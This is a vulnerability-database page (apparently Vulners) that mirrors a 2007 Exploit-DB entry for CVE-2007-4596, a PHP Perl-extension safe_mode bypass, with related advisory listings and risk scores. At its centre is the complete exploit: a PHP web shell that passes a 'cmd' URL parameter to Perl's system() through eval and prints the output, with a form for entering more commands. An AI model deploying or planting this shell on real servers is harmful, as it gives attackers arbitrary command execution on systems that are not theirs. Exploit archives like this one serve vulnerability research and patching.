Lucene search
+L

PHP 'Perl' Extension - 'Safe_mode' Bypass

🗓️ 25 Aug 2007 00:00:00Reported by NetJackalType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

PHP Perl Extension Safe_mode Bypass Exploit by NetJacka

Related
Code
ReporterTitlePublishedViews
Family
cgr
Chainguard
CVE-2007-4596 vulnerabilities
11 Sep 202514:22
cgr
cve
CVE
CVE-2007-4596
30 Aug 200717:00
cve
cvelist
Cvelist
CVE-2007-4596
30 Aug 200717:00
cvelist
euvd
EUVD
EUVD-2007-4578
7 Oct 202500:30
euvd
f5
F5 Networks
K000141355: Multiple PHP vulnerabilities
7 Oct 202403:15
f5
nvd
NVD
CVE-2007-4596
30 Aug 200718:17
nvd
osv
OSV
CGA-CP54-6PQC-J4MW
11 Sep 202510:51
osv
osv
OSV
CGA-FPGW-32QV-RG73
29 Jan 202600:50
osv
osv
OSV
CGA-HJJ9-68QC-MM2P
6 Jun 202412:27
osv
osv
OSV
CGA-JCWM-PQ6F-RXG4
6 Jun 202412:28
osv
Rows per page
<?php

##########################################################
###----------------------------------------------------###
###----PHP Perl Extension Safe_mode Bypass Exploit-----###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################

if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"

?>

# milw0rm.com [2007-08-25]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Aug 2007 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 27.5
EPSS0.0778
35